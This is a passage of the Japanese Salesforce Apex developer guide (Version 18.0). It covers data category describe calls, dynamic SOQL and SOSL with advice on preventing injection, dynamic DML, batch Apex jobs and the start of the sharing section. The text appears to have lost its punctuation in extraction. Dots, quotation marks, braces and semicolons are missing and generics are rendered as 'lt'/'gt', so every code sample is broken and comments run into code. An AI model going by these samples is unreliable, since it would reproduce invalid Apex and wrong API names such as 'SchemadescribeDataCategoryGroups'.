describeDataCategoryGroupStructuresメソッドは指定したカテゴリグループのオブジェクトに使用できるカテゴリを返しますデータカテゴリの詳細はSalesforcecomオンラインヘルプの「データカテゴリとは」を参照してください

次の例ではdescribeDataCategoryGroupSampleメソッドは記事オブジェクトおよび質問オブジェクトに関連するすべてのカテゴリグループを返しますdescribeDataCategoryGroupStructuresメソッドはリージョンカテゴリグループの記事および質問に使用できるすべてのカテゴリを返します記事および質問に関する詳細はSalesforcecom オンラインヘルプ「記事の管理」「Answers の概要」を参照してください

次の例を使用するには下記の手順を実行する必要があります

bull Salesforce Knowledge を有効化するbull Answers 機能を有効化するbull リージョンというデータカテゴリグループを作成するbull リージョンを Answers で使用するデータカテゴリグループとして割り当てるbull リージョンデータカテゴリグループが Salesforce Knowledge に割り当てられていることを確認する

データカテゴリグループの作成についての詳細はSalesforcecomオンラインヘルプの「カテゴリグループの作成と変更」を参照してくださいAnswers の詳細はSalesforcecomオンラインヘルプの「回答の概要」を参照してください

public class DescribeDataCategoryGroupSample private void describeDataCategoryGroupSample()try Creating the list of sobjects to use for the describe call ListltStringgt objType= new ListltStringgt()

objTypeadd(KnowledgeArticleVersion) objTypeadd(Question)

Describe Call ListltSchemaDescribeDataCategoryGroupResultgt describeCategoryResult =SchemadescribeDataCategoryGroups(objType)

Using the results and retrieving the information for(SchemaDescribeDataCategoryGroupResultsingleResult describeCategoryResult) Getting the name of the categorysingleResultgetName()

Getting the name of label singleResultgetLabel()

ダイナミック Apex Version 180 | Apex 定義情報について | 139

Getting description singleResultgetDescription()

Getting the sobject singleResultgetSobject() catch(Exception e)

public class DescribeDataCategoryGroupStructures private voidgetDescribeDataCategoryGroupStructureResults() try Making the call to thedescribeDataCategoryGroups ListltStringgt objType = new ListltStringgt()objTypeadd(KnowledgeArticleVersion) objTypeadd(Question)ListltSchemaDescribeDataCategoryGroupResultgt describeCategoryResult =SchemadescribeDataCategoryGroups(objType)

Creating a list of pair objects to use as a parameter for the describe callListltDataCategoryGroupSobjectTypePairgt pairs = new ListltDataCategoryGroupSobjectTypePairgt()

Looping throught the first describe result to create the list of pairs for the seconddescribe call for(SchemaDescribeDataCategoryGroupResult singleResult describeCategoryResult) DataCategoryGroupSobjectTypePair p = newDataCategoryGroupSobjectTypePair() psetSobject(singleResultgetSobject())psetDataCategoryGroupName(singleResultgetName()) pairsadd(p)

describeDataCategoryGroupStructures() ListltSchemaDescribeDataCategoryGroupStructureResultgtresults = SchemadescribeDataCategoryGroupStructures(pairs false)

Getting data from the result for(SchemaDescribeDataCategoryGroupStructureResultsingleResult results) Get name of the associated Sobject singleResultgetSobject()

Get the name of the data category group singleResultgetName()

Get the name of the label singleResultgetLabel()

Get the description of the data category group singleResultgetDescription()

Get the top level categories DataCategory [] toplevelCategories =singleResultgetTopCategories()

Recursively get all the categories ListltDataCategorygt allCategories =getAllCategories(toplevelCategories) for(DataCategory category allCategories) Getthe name of the category categorygetName()

Get the label of the category categorygetName()

Get the list of sub categories in the category DataCategory [] childCategories =categorygetChildCategories() catch (Exception e)

private DataCategory[] getAllCategories(DataCategory [] categories) if(categoriesisEmpty())return new DataCategory[] else DataCategory category = categories[0] DataCategory[]temp = new DataCategory[]category categoriesremove(0)categoriesaddAll(categorygetChildCategories()) tempaddAll(getAllCategories(categories))return temp

動的 SOQL

動的ク SOQLはApexスクリプトを使ってランタイムにおいて SOQL 文字列の作成を参照します動的 SOQLによってさらに柔軟なアプリケーションの作成が可能になりますたとえばエンドユーザの入力をベースにした検索の作成または幅広い項目名を使ったレコードの更新が可能です

ダイナミック Apex Version 180 | 動的 SOQL | 140

ランタイムにおける動的 SOQLクエリの作成には次の方法の1つでデータベースqueryメソッドを使ってください

bull クエリが1つのレコードを返す時1つのsObjectが返します

sObject S = Databasequery(string_limit_1)

bull クエリが複数のレコードを返す時sObjectsのリストを返します

ListltsObjectgt L = Databasequery(string)

通常の割り当てステートメントと forループにおいてなどインライン SOQL クエリが使用可能な場合はいつでもデータベースqueryメソッドは利用可能です動的 SOQL クエリの処理とほぼ同様に結果は処理されます

動的 SOQL 結果は具体的な sObject として指定可能ですAccount または MyCustomObject__c などまたは一般的な sObject データ型として指定できますランタイムにおいてシステムはクエリのタイプが変数の宣言タイプとマッチしているか認証しますクエリが正しい sObject タイプを返さない場合はランタイムエラーが発生しますこれは一般的な sObject から具体的な sObject をキャストする必要がないことを意味します

動的 SOQLクエリは静的クエリと同じガバナー制限を持っていますガバナー制限の詳細は「実行ガバナーと制限の理解」を参照してください

SOQL クエリ構文の詳細は『Forcecom Web Services API Developers Guide』のwwwsalesforcecomusdeveloperdocsapiindex_CSHhtmsforce_api_calls_soqlhtm を参照してください

SOQL インジェクション

SOQL インジェクションとはSOQL ステートメントをスクリプトに送ることによって意図していなかったユーザがアプリケーションにデータベースメソッドを実行することですこれはアプリケーションが動的 SOQLを構築するためのエンドユーザ入力に依存し入力を適切に処理しない場合はいつでもApexスクリプト内で発生可能です

SOQL注入を防ぐためにはescapeSingleQuotesメソッドを使ってくださいこのメソッドはエスケープキャラクター()を文字列内のユーザからパスされるすべてのシングルクォーテーションマークに追加しますメソッドはすべてのシングルクォーテーションマークがデータベースメソッドの代わりに文字列の囲みとして使われることを確実にします

動的 SOSL

動的 SOSLはApexスクリプトを使ってランタイムにおいてSOSL文字列の作成を参照します動的 SOSLによってさらに柔軟なアプリケーションの作成が可能になりますたとえばエンドユーザの入力をベースにした検索の作成または幅広い項目名を使ったレコードの更新が可能です

動的 SOSLクエリをランタイムにおいて作成するには検索queryメソッドを使ってください例

ListltList ltsObjectgtgt myQuery = searchquery(SOSL_search_string)

ダイナミック Apex Version 180 | 動的 SOSL | 141

以下の例ではシンプルSOSLクエリ文字列を実行しています

String searchquery=FINDEdgeIN ALL FIELDS RETURNING Account(idname)Contact LeadListltListltSObjectgtgtsearchList=searchquery(searchquery)

各リストが特定のsObjectタイプの検索結果を含む場合sObjectのリストに対する動的 SOSLステートメント評価結果リストは常に動的 SOSLクエリにて指定されたのと同じ順番で返されます上記の例よりAccountからの結果が最初次がContactでその次がLeadです

通常の割り当てステートメントとforループにおいてなどインラインSOSLクエリが使用可能な場合はいつでも検索queryメソッドは利用可能です静的SOSLクエリの処理とほぼ同様に結果は処理されます

SOSL クエリはApexクラスおよび特定ブロックでのみサポートされますトリガで SOSL を使用することはできません

動的 SOSLクエリは静的クエリと同じガバナー制限を持っていますガバナー制限の詳細は「実行ガバナーと制限の理解」を参照してください

SOSLクエリ構文の詳細はForcecom Web Services API Developers Guide内のwwwsalesforcecomusdeveloperdocsapiindex_CSHhtmsforce_api_calls_soslhtmを参照してください

SOSL インジェクション

SOSL インジェクションとはSOSL ステートメントをスクリプトに送ることによって意図していなかったユーザがアプリケーションにデータベースメソッドを実行することですこれはアプリケーションが動的 SOSLを構築するためのエンドユーザ入力に依存し入力を適切に処理しない場合はいつでもApexスクリプト内で発生可能です

SOSL注入を防ぐためにはescapeSingleQuotesメソッドを使ってくださいこのメソッドはエスケープキャラクター()を文字列内のユーザからパスされるすべてのシングルクォーテーションマークに追加しますメソッドはすべてのシングルクォーテーションマークがデータベースメソッドの代わりに文字列の囲みとして使われることを確実にします

ダイナミック DML

ランタイムにおける定義情報の問い合わせとSOQLクエリの構築に加えて動的にsObjectを作成しそれをDMLを使ってデータベースに挿入可能です

指定されたタイプの新規sObjectを作成するにはsObjectトークン上でnewSObjectメソッドを使ってくださいトークンには具体的なsObjectタイプ Accountなど を与える必要がある点に注意してください例

Get a new account Account A = new Account() Get the token for the accountSchemasObjectType tokenA = AgetSObjectType() The following produces an error becausethe token is a generic sObject not an Account Account B = tokenAnewSObject() Thefollowing works because the token is cast back into an Account Account B =(Account)tokenAnewSObject()

sObjectトークンtokenAはAccountのトークンですが別にアクセスされるのでsObjectと考えられますnewSObjectメソッドを使うには具体的なsObjectタイプAccountに入れられる必要がありますキャストの詳細についてはクラスとキャスト (ページ 110)を参照してください

ダイナミック Apex Version 180 | ダイナミック DML | 142

newSObjectを使ってIDの指定も可能です例

SObject s = Databasequery(Select Id from account limit 1)[0]getSObjectType()newSObject([SELECT Id FROM Account LIMIT 1][0]id)

項目値を設定する取得する

Stringとして表現されるAPI名または項目のトークンのいづれかを使っている項目の値を設定または取得するためにオブジェクト上のgetとputメソッドを使ってください以下の例では項目AccountNumberのAPI名が使用されます

SObject s = [SELECT accountNumber FROM account LIMIT 1] Object o = sget(AccountNumber)sput(AccountNumber abc)

以下の例では代わりにAccountNumber項目のトークンを使います

SchemaDescribeFieldResult f = SchemasObjectTypeAccountfieldsAccountNumber Sobject s= Databasequery(SELECT AccountNumber FROM Account LIMIT 1) sput(fgetsObjectField()12345)

ObjectスカラデータタイプはsObject上の項目値を設定または取得するために総称データタイプとして使用可能ですこれはanyType項目タイプと同等ですObjectデータタイプはsObjectの総称的タイプとして使用可能なsObjectデータタイプとは違う点に注意してください

メモ 項目に割り当てた文字列値が長すぎる場合API バージョン 150 以上を使用して保存 (コンパイル)した Apex クラスにはランタイムエラーが発生します

外部キーを設定する取得する

ApexはAPIと同じ方法で名前 または外部ID による外部キーの投入をサポートします外部キーのスカラID値を設定または取得するにはgetまたはputメソッドを使ってください

外部キーに関連付けられたrecordを設定または取得するにはgetSObjectおよびputSObjectメソッドを使ってくださいこれらのメソッドはObjectではなくsObjectデータタイプで使用されなければならないことに注意してください例

SObject c = Databasequery(SELECT Id FirstName AccountId AccountName FROM Contact LIMIT1) SObject a = cgetSObject(Account)

子sObjectで作業中に親sObject値用の外部IDを指定する必要はありません親sObjectにIDを与えた場合はDML操作によって無視されますApexは外部キーが常に投入されたIDとともに親オブジェクトを返す関係SOQLクエリを通じて投入されると仮定していますIDがない場合は子オブジェクトとともに使ってください

例えばカスタムオブジェクトC1が子カスタムオブジェクトC2にリンクする外部キーc2__cを持っているとしますC1オブジェクトを作成し 値c2__rに割り当てられた 「xxx」と名づけられたC2レコードに関連付けたいとします親から子への関係を通じて投入されるので「xxx」レコードのIDは不要です例

insert new C1__c(name = x c2__r = new C2(name = xxx))

c2__rのIDに値を割り当てた場合それは無視されますIDがない場合それをレコードではなくオブジェクト (c2__c)に割り当ててください

ダイナミック Apex Version 180 | ダイナミック DML | 143

ダイナミックApexを使用して外部キーにアクセスすることもできます次の例はダイナミックApexを使用して親子関係のサブクエリから値を取得する方法について示しています

String queryString = SELECT Id Name (SELECT FirstName LastName from Contacts LIMIT 1)from Account SObject[] queryParentObject = Databasequery(queryString)

for (SObject parentRecord queryParentObject) Object ParentFieldValue =parentRecordget(Name) Prevent a null relationship from being accessed SObject[]childRecordsFromParent = parentRecordgetSObjects(Contacts) if (childRecordsFromParent= null) for (SObject childRecord childRecordsFromParent) Object ChildFieldValue1 =childRecordget(FirstName) Object ChildFieldValue2 = childRecordget(LastName)Systemdebug(Account Name + ParentFieldValue + Contact Name + ChildFieldValue1 + + ChildFieldValue2)

ダイナミック Apex Version 180 | ダイナミック DML | 144

第 8 章

Apex の一括処理

開発者はApexの一括処理を使用しForcecomプラットフォームで長時間にわたり実行される複雑なプロセスを構築できますたとえば特定

トピック

bull Apex の一括処理の使用 の日付を越えたレコードを検索してアーカイブに追加する夜間に実行bull Apex による共有管理について されるアーカイブソリューションを構築できますまたは毎晩すべて

の取引先と商談を探索しカスタム条件に基づき必要に応じて再割り当てをするデータの整理処理を構築できます

Apex の一括処理はインターフェースとして公開され開発者によって実行される必要があります一括処理ジョブはApex を使用して実行時に起動できます

キュー内または有効な一括処理ジョブを 5 件作成できますSalesforcecomの [スケジュール済みジョブ] を表示してまたはプログラムでForcecomWeb サービス API を使用して AsyncapexJob オブジェクトを問い合わせて現在のカウントを評価できます

警告 一括ジョブをトリガから開始する場合は細心の注意を払ってくださいトリガは 5 件を超える一括ジョブを追加しないようにする必要があります具体的にはAPIの一括更新インポートウィザードユーザインターフェースを使用した一括レコードの変更および複数のレコードを一度に更新できるすべてのケースなどです

一括ジョブはApex スケジューラを使用して特定の時刻に実行されるようプログラム的にスケジュールしたりまたは Salesforcecom ユーザインターフェースを使用して [Apex をスケジュール] ページを使用してスケジュールすることもできます[Apex をスケジュール] の詳細はSalesforcecom オンラインヘルプの「Apex のスケジュール」を参照してください

Apex の一括インターフェースはApex による共有管理の再適用にも使用されます

一括ジョブの詳細は「Apexの一括処理の使用 (ページ 146)」を参照してください

Apex による共有管理についての詳細は「Apex による共有管理について (ページ 153)」を参照してください

Apex の一括処理の使用

Apexの一括処理を使用するにはSalesforcecom提供のインターフェースDatabaseBatchableを実装するApexクラスを記述しプログラムに基づいてクラスを開始する必要があります

Apex の一括ジョブの実行を監視または停止するには[設定] [監視] [Apex] [ジョブ] をクリックします詳細はSalesforcecom オンラインヘルプの「Apex ジョブキュー」を参照してください

DatabaseBatchableインターフェースの実装

DatabaseBatchableインターフェースには実装しなければならない 3 つのメソッドが含まれています

bull startメソッド

global (DatabaseQueryLocator | IterableltsObjectgt) start(DatabaseBatchableContext bc)

startメソッドはApexの一括処理ジョブの開始時に呼び出されます startメソッドはインターフェースメソッド executeに渡すレコードまたはオブジェクトを収集するために使用します このメソッドはDatabaseQueryLocator オブジェクトまたはジョブに渡されるレコードまたはオブジェクトを含む反復可能オブジェクトを返します

DatabaseQueryLocator オブジェクトは一括処理ジョブで使用するオブジェクトの範囲を作成する単純なクエリ (SELECT) を使用する場合に使用します QueryLocator オブジェクトを使用する場合SOQL クエリによって取得されるレコード合計数に対するガバナ制限は無視されます たとえばAccount オブジェクトのApex の一括処理ジョブは組織内のすべての取引先レコード (最大 5000 万件のレコード) の QueryLocator を返すことができますもう 1 つの例としては組織内のすべての取引先レコードの QueryLocator を返す Contactオブジェクトの共有再適用があります

反復可能オブジェクトは一括処理ジョブの複雑な範囲を作成する必要がある場合に使用します またリスト全体を反復する独自のカスタムプロセスを作成するために反復可能オブジェクトを使用することもできます

重要 反復可能オブジェクトを使用する場合SOQL クエリによって取得されるレコード合計数に対するガバナ制限はそのまま適用されます

bull executeメソッド

global void execute(DatabaseBatchableContext BC listltPgt)

executeメソッドはメソッドに渡されるレコードの各一括処理に対して呼び出されますデータのそれぞれの塊に必要な処理をすべて実行する場合にこのメソッドを使用します

このメソッドは次を取ります

- DatabaseBatchableContext オブジェクトへの参照- ListltsObjectgtなどの sObjects のリストまたはパラメータ化された型のリスト DatabaseQueryLocator

を使用する場合は返されたリストを使用する必要があります

Apex の一括処理 Version 180 | Apex の一括処理の使用 | 146

bull finishメソッド

global void finish(DatabaseBatchableContext BC)

finishメソッドはすべてのバッチが処理された後にコールされます確認の電子メールの送信や処理完了後の操作を実行するのにこのメソッドを使用します

Apexの一括処理ジョブの各実行は個別のトランザクションと見なされますたとえば1000 件のレコードを含む Apex の一括処理ジョブがDatabaseexecuteBatchから任意の scopeパラメータを指定せずに実行されるとこのジョブはそれぞれ 200 件のレコードを含む 5 つのトランザクションと見なされます Apex のガバナ制限は各トランザクションでリセットされます最初のトランザクションが成功し2 番目が失敗した場合最初のトランザクションで行われたデータベースの更新はロールバックされません

DatabaseBatchableContext の使用

DatabaseBatchableインターフェースのすべてのメソッドは DatabaseBatchableContext オブジェクトへの参照を必要とします このオブジェクトは一括ジョブの進行状況を追跡するために使用します

次に DatabaseBatchableContext オブジェクトを含むインスタンスメソッドを示します

説明戻り値引数名前

この一括ジョブに関連するAsyncApexJobオブジェクトの ID を文字列として返します このメソッ

IDgetJobId

ドは一括処理ジョブのレコードの進行状況を追跡するために使用します

次の例ではDatabaseBatchableContext を使用して一括処理ジョブに関連する AsyncApexJob を問い合わせます

global void finish(DatabaseBatchableContext BC) DatabaseBatchableContext の一括処理ジョブを示す AsyncApexJob の ID を取得します AsyncApexJob オブジェクトを問い合わせて現在のジョブの情報を取得します AsyncApexJob a = [Select Id Status NumberOfErrors JobItemsProcessedTotalJobItems CreatedByEmail from AsyncApexJob where Id = BCgetJobId()] ジョブの完了を通知する電子メールを Apex ジョブの登録者に送信します MessagingSingleEmailMessage mail = newMessagingSingleEmailMessage() String[] toAddresses = new String[] aCreatedByEmailmailsetToAddresses(toAddresses) mailsetSubject(Apex Sharing Recalculation + aStatus)mailsetPlainTextBody (The batch Apex job processed + aTotalJobItems + batches with+ aNumberOfErrors + failures) MessagingsendEmail(new MessagingSingleEmailMessage[] mail )

DatabaseQueryLocator を使用した範囲の定義

startメソッドは一括処理ジョブまたは反復ジョブで使用するレコードを含む DatabaseQueryLocator オブジェクトを返すことができます

次に DatabaseQueryLocator の使用例を示します

global class SearchAndReplace implements DatabaseBatchableltsObjectgt

global final String Query global final String Entity global final String Field globalfinal String Value

global SearchAndReplace(String q String e String f String v)

Apex の一括処理 Version 180 | Apex の一括処理の使用 | 147

Query=q Entity=e Field=fValue=v

global DatabaseQueryLocator start(DatabaseBatchableContext BC) returnDatabasegetQueryLocator(query)

global void execute(DatabaseBatchableContext BC ListltsObjectgt scope) for(sobject s scope) sput(FieldValue) update scope

global void finish(DatabaseBatchableContext BC)

Apex の一括処理の反復を使用した範囲の定義

startメソッドは一括処理ジョブまたは反復ジョブで使用するレコードを含む DatabaseQueryLocator オブジェクトを返すことができます 反復ジョブを使用して返された項目をより簡単に行うことができます

global class batchClass implements Databasebatchable global Iterablestart(DatabaseBatchableContext info) return new CustomAccountIterable() global voidexecute(DatabaseBatchableContext info ListltAccountgt scope) ListltAccountgt accsToUpdate =new ListltAccountgt() for(Account a scope) aname = true anumberOfEmployees = 70accsToUpdateadd(a) update accsToUpdate global void finish(DatabaseBatchableContextinfo)

DatabaseexecuteBatchメソッドの使用

DatabaseexecuteBatchメソッドを使用して一括処理ジョブをプログラムに基づいて開始できます

重要 DatabaseexecuteBatchを呼び出すとSalesforcecom ではスケジュールされた時間のキューにのみプロセスを追加します 実際の実行はサービスの使用可能状態に応じて遅れる場合があります

DatabaseexecuteBatchメソッドは次の2 つのパラメータを採用します

bull DatabaseBatchableを実装するクラスbull DatabaseexecuteBatchメソッドはオプションのパラメータ scopeを採用します このパラメータは

executeメソッドに渡す必要があるレコードの数を指定します この値は 0 より大きくする必要があります上限はありませんが非常に大きい値を使用すると他に制限される場合がありますこれは渡される各レコードに対し多数の処理がありガバナ制限に達する場合に使用します レコード数を制限することによってトランザクションあたりの処理が制限されます

DatabaseexecuteBatchメソッドはジョブの進捗状況の追跡に使用できる AsyncApexJob オブジェクトの IDを返します 例

ID batchprocessid = DatabaseexecuteBatch(reassign)

AsyncApexJob aaj = [SELECT Id Status JobItemsProcessed TotalJobItems NumberOfErrorsFROM AsyncApexJob WHERE ID = batchprocessid ]

AsyncApexJob オブジェクトについての詳細は『Forcecom Web Services API Developers Guide』のAsyncApexJobを参照してください

Apex の一括処理の例

次に DatabaseQueryLocator の使用例を示します

global class UpdateAccountFields implements DatabaseBatchableltsObjectgt global final StringQuery global final String Entity global final String Field global final String Value

Apex の一括処理 Version 180 | Apex の一括処理の使用 | 148

global UpdateAccountFields(String q String e String f String v) Query=q Entity=eField=fValue=v

global DatabaseQueryLocator start(DatabaseBatchableContext BC) returnDatabasegetQueryLocator(query)

global void execute(DatabaseBatchableContext BC ListltsObjectgt scope) for(Sobject s scope)sput(FieldValue) update scope

global void finish(DatabaseBatchableContext BC)

次のコードを使用して上記のクラスを呼び出すことができます

id batchinstanceid = databaseexecuteBatch(new UpdateAccountFields(qefv) 5)

次のクラスはApex の一括処理を使用して特定のユーザが所有するすべての取引先を異なるユーザに割り当てることができます

global class OwnerReassignment implements DatabaseBatchableltsObjectgt String query Stringemail Id toUserId Id fromUserId

global databasequerylocator start(DatabaseBatchableContext BC) returnDatabasegetQueryLocator(query)

global void execute(DatabaseBatchableContext BC ListltsObjectgt scope) ListltAccountgt accns= new ListltAccountgt()

for(sObject s scope)Account a = (Account)s if(aOwnerid==fromUserId)aOwnerid=toUserId accnsadd(a)

update accns

global void finish(DatabaseBatchableContext BC) MessagingSingleEmailMessage mail = newMessagingSingleEmailMessage()

mailsetToAddresses(new String[] email) mailsetReplyTo(batchacmecom)mailsetSenderDisplayName(Batch Processing) mailsetSubject(Batch Process Completed)mailsetPlainTextBody(Batch Process has completed)

MessagingsendEmail(new MessagingSingleEmailMessage[] mail )

次のコードを使用して前述の例の OwnerReassignment クラスを実行できます

OwnerReassignment reassign = new OwnerReassignment() reassignquery=SELECT Id NameOwnerid FROM Account WHERE ownerid= + uid + reassignemail=adminacmecomreassignfromUserId = u reassigntoUserId = u2 ID batchprocessid =DatabaseexecuteBatch(reassign)

Apex の一括処理のコールアウトの使用

Apex の一括処理でコールアウトを使用するにはこのクラス定義で DatabaseAllowsCalloutsを使用する必要があります 例

global class SearchAndReplace implements DatabaseBatchableltsObjectgt DatabaseAllowsCallouts

コールアウトにはHTTP 要求および webServiceキーワードで定義されたメソッドが含まれています

Apex の一括処理 Version 180 | Apex の一括処理の使用 | 149

Apex の一括処理の状況の使用

Apexの一括処理ジョブの各実行は個別のトランザクションと見なされますたとえば1000 件のレコードを含む Apex の一括処理ジョブが任意の scopeパラメータを指定せずに実行されるとこのジョブはそれぞれ200 件のレコードを含む 5 つのトランザクションと見なされます

クラス定義でDatabaseStatefulを指定するとこれらのトランザクションで状況を保持できます処理されているレコードをカウントまたは集計する場合に役立ちますたとえばジョブで商談レコードが処理されたとします executeでメソッドを定義し処理された商談数の合計を集計できます

DatabaseStatefulを指定しない場合インターフェースメソッドのすべてのメンバー変数が元の値に戻されます

次の例ではレコードが処理されるとカスタム項目 total__cを集計します

global class SummarizeAccountTotal implements DatabaseBatchableltsObjectgt DatabaseStateful

global final String Query global integer Summary

global SummarizeAccountTotal(String q)Query=q Summary = 0

global DatabaseQueryLocator start(DatabaseBatchableContext BC) returnDatabasegetQueryLocator(query)

global void execute(DatabaseBatchableContext BC ListltsObjectgt scope) for(sObject s scope)Summary = IntegervalueOf(sget(total__c))+Summary

global void finish(DatabaseBatchableContext BC)

また変数を指定してクラスの最初の状況にアクセスします この変数を使用してDatabaseBatchableメソッドのすべてのインスタンスと最初の状況を共有します 例

取引先の sObject のリストを使用してインターフェースを実装します initialState 変数は最終として宣言されます

global class MyBatchable implements DatabaseBatchableltsObjectgt private final StringinitialState String query

global MyBatchable(String intialState) thisinitialState = initialState

global DatabaseQueryLocator start(DatabaseBatchableContext BC) Access initialStatehere

return DatabasegetQueryLocator(query)

global void execute(DatabaseBatchableContext BC ListltsObjectgt batch) AccessinitialState here

global void finish(DatabaseBatchableContext BC) Access initialState here

initialStateはクラスの「最初の」状況ですこれを使用して一括処理ジョブの実行時にクラスのインスタンス間で情報を受け渡すことはできません たとえばexecuteで initialStateの値を変更した場合処理されたレコードの 2 番目の塊は新しい値にアクセスできません最初の値だけがアクセス可能です

Apex の一括処理 Version 180 | Apex の一括処理の使用 | 150

Apex の一括処理のテスト

DatabaseBatchableインターフェースを実装する Apex をテストするにはインターフェースにより実装された各メソッドを直接コールし一括処理ジョブのシミュレーションを実行しなければなりません

一括処理 Apex をテストする場合executeメソッドの 1 つの実行だけをテストできます executeBatchメソッドの scopeパラメータを使用してexecuteメソッドに渡されるレコード数を制限しガバナ制限に達しないようにすることができます

executeBatchメソッドは匿名プロセスを開始します 一括処理 Apex をテストする場合結果に対してテストする前に一括処理ジョブを終了する必要があります executeBatchメソッドの周囲でテストメソッドstartTestおよび stopTestを使用してテストを続行する前に終了するようにします startTestメソッド後に作成されたすべての非同期コールはシステムによって収集されます stopTestを実行する場合すべての非同期プロセスが同期して実行されます

メモ startTestブロックおよび stopTestブロックで呼び出された futureまたは executeBatchなどの非同期コールはキュー内ジョブ数の制限に対してカウントされません

下記の例は OwnerReassignment クラスをテストします

public static testMethod void testBatch() user u = [SELECT ID username FROM User WHEREusername=testuser1acmecom] user u2 = [SELECT ID username FROM User WHEREusername=testuser2acmecom] String u2id = u2id 200 件のテスト アカウントを作成 - 1 つの実行をシミュレーションします 重要 - Salesforcecom テスト フレームで可能なのは 1 つの実行のテストだけです

List ltAccountgt accns = new ListltAccountgt() for(integer i = 0 ilt200 i++) Account a =new Account(name=testAccount+i Ownerid = uID) accnsadd(a)

insert accns

TestStartTest() OwnerReassignment reassign = new OwnerReassignment()reassignquery=SELECT ID Name Ownerid FROM Account WHERE ownerid= + uid + LIMIT=200 reassignemail=adminacmecom reassignfromUserId = uId reassigntoUserId= u2Id ID batchprocessid = DatabaseexecuteBatch(reassign) TestStopTest()

SystemAssertEquals(databasecountquery(SELECT count() + FROM Account WHEREownerid=u2ID) 200)

Apex の一括処理のガバナ制限

Apex の一括処理について次のガバナ制限に注意してください

bull 最大 5 件のキュー内またはアクティブ一括処理ジョブを Apex で行うことができますVisualforce でも 5 件の一括処理ジョブを行うことができます

bull ユーザは 1 度に最大 5 個のクエリカーソルを開くことができます たとえば5 個のカーソルが開き新しいカーソルを同じユーザが開こうとする場合にクライアント アプリケーションがログインしている場合5個のカーソルのうち最も古いカーソルが解放されます

メモ 異なる Forcecom 機能のカーソル制限は個別に追跡されます たとえば5 個の Apex クエリーカーソル5 個のバッチカーソル5 個の Visualforce 個を同時に開くことができます

bull DatabaseQueryLocatorオブジェクトでは最大 5000 万件のレコードが返されます 5000 万件以上のレコードが返された場合一括処理ジョブは即座に終了し「失敗」とマークされます

Apex の一括処理 Version 180 | Apex の一括処理の使用 | 151

bull オプションの scopeパラメータでサイズが指定されていない場合Salesforcecom はQueryLocator が 200 件のバッチに返したレコードを一括処理し各バッチを executeメソッドに渡します Apex ガバナ制限はexecuteの各実行でリセットされます

bull 組織で 24 時間当たり最大 250000 件の executeメソッドを呼び出すことができますbull startexecuteおよび finishメソッドはメソッドごとに 1 回のコールアウトだけ実行できます

Apex の一括処理のベストプラクティス

bull 一括ジョブをトリガから開始する場合は細心の注意を払ってください トリガは 5 件を超える一括ジョブを追加しないようにする必要があります 具体的にはAPI の一括更新インポートウィザードユーザインターフェースを使用した一括レコードの変更および複数のレコードを一度に更新できるすべてのケースなどです

bull DatabaseexecuteBatchを呼び出すとSalesforcecom ではスケジュールされた時間のキューにのみジョブを配置します 実際の実行はサービスの使用可能状態に応じて遅れる場合があります

bull 一括処理 Apex をテストする場合executeメソッドの 1 つの実行だけをテストできます executeBatch

メソッドの scopeパラメータを使用してexecuteメソッドに渡されるレコード数を制限しガバナ制限に達しないようにすることができます

bull executeBatchメソッドは匿名プロセスを開始します一括処理Apexをテストする場合結果に対してテストする前に一括処理ジョブを終了する必要があります executeBatchメソッドの周囲でテストメソッドstartTestおよび stopTestを使用してテストを続行する前に終了するようにします

bull ジョブトランザクション全体で変数またはデータを共有する場合はクラス定義で DatabaseStatefulを使用します これを使用しない場合各トランザクションの開始時にすべてのインスタンス変数が初期状態にリセットされます

bull futureとして宣言されたメソッドはDatabaseBatchableインターフェースを実装したクラスでは許可されません

bull futureとして宣言されたメソッドはApex の一括処理クラスからは呼び出せませんbull Apex の一括処理メソッドから DatabaseexecuteBatchメソッドを呼び出すことはできませんbull サービスの機能停止などの重大な障害が発生した場合進行中の処理は「失敗」とマークされます エラー

を修正するために一括処理ジョブをもう一度実行する必要がありますbull Apex の一括処理ジョブが実行されると一括処理ジョブを送信したユーザーに電子メール通知が送信されま

すまたは管理パッケージにコードが含まれ登録組織が一括処理ジョブを実行している場合[Apex例外通知受信者] 項目に表示された受信者に電子メールが送信されます

bull 各メソッドの実行では標準のガバナ制限非同期ブロックである Visualforce コントローラまたはWSDL メソッドが使用されます

bull Apex の一括処理が呼び出されるたびに AsyncApexJob レコードが作成されますこのレコードの ID を使用してジョブの状況エラーの数進行状況申請者を取得する SOQL クエリを構成します AsyncApexJob オブジェクトについての詳細は『Forcecom Web Services API Developers Guide』のAsyncApexJobを参照してください

bull クラス内のすべてのメソッドは globalとして定義する必要があります

Apex の一括処理 Version 180 | Apex の一括処理の使用 | 152

bull 共有再適用の場合Salesforcecom では一括処理内のレコードに対する Apex による共有管理をすべてexecuteメソッドで削除してから再作成することをお勧めしますこれにより共有が正確で完全であることを保証します

関連リンク例外ステートメント共有の理解

Apex による共有管理について

共有とはレコードに対してアクションを実行する許可をユーザまたはユーザグループに付与する行為のことです共有アクセス権はSalesforcecom ユーザインターフェースおよび Forcecom を使用して付与することもApex を使用してプログラムで付与することもできます

この項ではApex を使用した共有の概要について説明します

bull 共有の理解 (ページ 153)bull Apex を使用したレコードの共有 (ページ 156)bull Apex による共有管理の再適用 (ページ 160)

共有に関する詳細はSalesforcecom オンラインヘルプの「組織のデフォルト共有モデルの設定」 を参照してください

共有の理解共有 はカスタムオブジェクトとAccountContactOpportunityCase などの多くの標準オブジェクトのレコードレベルのアクセス制御を実現します管理者は最初にオブジェクトの組織の共有アクセスレベルを設定しレコード所有者ロール階層共有ルール共有の直接設定などに基づいてその他のアクセス権を付与します開発者は Apex 共有管理を使用できるようになりApex を使用したプログラムからのアクセス権の付与が可能になりますレコードに対するほとんどの共有は関連する共有オブジェクトで保持されますこれは他のプラットフォームのアクセス制御リスト (ACL) と似た機能です

共有タイプ

Salesforcecom には次の共有タイプがあります

Forcecom による共有管理Forcecom による共有管理ではレコードの所有者ロール階層および共有ルールに基づいて Forcecomによって付与される共有アクセス権を使用します

レコードの所有者各レコードはユーザ (場合によりカスタムオブジェクトケースおよびリードのキュー) が所有しますレコードの所有者にはフルアクセスが自動的に付与されレコードを参照編集移行共有および削除できます

Apex の一括処理 Version 180 | Apex による共有管理について | 153

